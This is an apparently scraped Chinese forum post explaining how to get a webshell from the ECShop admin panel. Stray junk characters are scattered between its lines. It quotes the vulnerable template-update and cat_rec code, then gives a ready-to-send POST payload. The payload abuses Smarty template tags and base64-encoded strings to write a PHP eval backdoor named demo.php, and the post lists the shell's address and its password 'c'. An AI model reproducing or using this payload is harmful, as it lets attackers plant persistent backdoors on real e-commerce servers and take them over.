Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
4 q; y: ^8 R% s  Uadmin/template.php

/ ]% m* }) V  S- B* J9 P1 if ($_REQUEST['act'] == 'update_library')
" q) G( w) G# b  @! W  n
2   
; @" I2 [# s3 U5 H6 T6 w) w
3 {
2 o+ J' [5 R9 ]- v9 S% z+ l
4     check_authz_json('library_manage');
$ [8 ]5 O! h+ c; Z
5   

, e* c$ h+ D( }/ b2 A# q$ S" B6     $html = stripslashes(json_str_iconv($_POST['html']));
. ~" I! r7 c3 P5 V' E* C
; z3 v) G; ], V3 X7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   
: @: Z, r, t, E" T& O6 ^% V
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
( {. A" c) Z% d# u  O
, Z. d4 M# y! L1 \8 Y11   
& U, {" R2 l) P% t5 h
, _8 `0 S" R3 y12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
) L' j4 p" P8 J. g( w1 ~% B' u0 g
13   
: j. ]2 r* e+ `) [8 M4 M* N
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {

1 d" r8 r1 \: o6 f0 s; d! I16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

3 h1 ^# W! K6 K17         make_json_result('', $_LANG['update_lib_success']);

18     }
& K9 d3 U* k% }/ F* Q& s+ i
- K/ m& ~, T' H% h: h. v' m19     else

20     {
7 I8 y2 c1 m5 `
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

* w1 v/ F! z7 x- V9 m$ _22     }

23 }

5 n. \( t, ?. p. K, S$ `& v那么找个比较方便调用了模板的文件
index.php

' y. n8 k1 [% O- {0 H" O) J; ?1 if ($act == 'cat_rec')
3 F0 }. P! @' R8 K% [6 o
2   

4 Y+ l  ^- _3 j" H5 _/ k0 D3 {

# r3 [% W8 h- s" N8 c- P, m& Q4   

# C& K4 _$ x, ~- }: D5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
. \, Z. A) {: R4 ^  w4 b  M
6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
* t7 l8 l% v! {3 r$ K/ h; I5 S( Q
8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

2 i2 M) V9 D% b4 C* B10   
: i7 D' V' S9 z3 A( [. i6 i
4 p4 @2 s$ k/ V11     include_once('includes/cls_json.php');
  b; V) Q& N( Z, \
12   

# T2 k# `6 x( A6 L13     $json = new JSON;
. u5 }+ N5 E. T  ?' t
: Y0 E$ H1 X1 u+ j2 t4 y14   
! B( r* b2 O& p$ [+ k0 N
0 m9 W" ^% {: l0 A4 z+ ~$ u. P5 v15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
  u1 R+ @9 b. _4 p: }  |
% g$ S% Q- e1 k, H: a9 ]) k7 y16   

5 B! N; R; m" v1 t/ @17     $children = get_children($cat_id);
% n( B5 X- `; Z* c% x
9 p9 o- L1 S- x  s8 x) K" w+ s* h8 U  S18   
* t! V' c' ?0 n( N4 m: t
" r/ G. y/ |. q) z19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   

9 k1 f; y& q1 ^. ~1 q. m+ Q21     $smarty->assign('cat_rec_sign', 1);
: D9 @% W  v( W; D, u0 U0 a
, r. ~  e* i% c" P$ y22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
/ V$ z8 E. c+ ~% T+ z! s
24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
- m7 @5 Y& T, S+ t6 P
: \; `  p9 Q3 k* w1 L( u26   
9 ]0 [$ P3 k& J+ K( m
27         echo $rec_array[$rec_type];
4 U  a. v( z; `6 V) ]1 L
28   

2 ~: j" I: M/ J; V/ }29     die($json->encode($result));

7 \/ Q1 b( z/ _6 C30   

# Z$ F# K$ X$ \% H31 }

那么就有利用方法了
# d# g5 d7 o& _8 s, G% ]post包到http://localhost/ec/admin/template.php?act=update_library
& L* n. x8 }* `  p" S# l7 ?Post内容：
- D- d" V( z/ d- Y( }) j2 Q* {
​
4 e8 \/ U0 u9 V- ~& c$ Y1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
% d' b2 _/ I, ?2 d+ ^8 R
然后访问http://localhost/ec/index.php?act=cat_rec
5 b8 G; u& ^) p: N
shel地址：http://localhost/ec/demo.php
8 j3 @# q0 a4 V8 C+ A" c密码c
* I( |2 z4 x" m) L7 @
+ f* E# s8 U  B, \) ?% u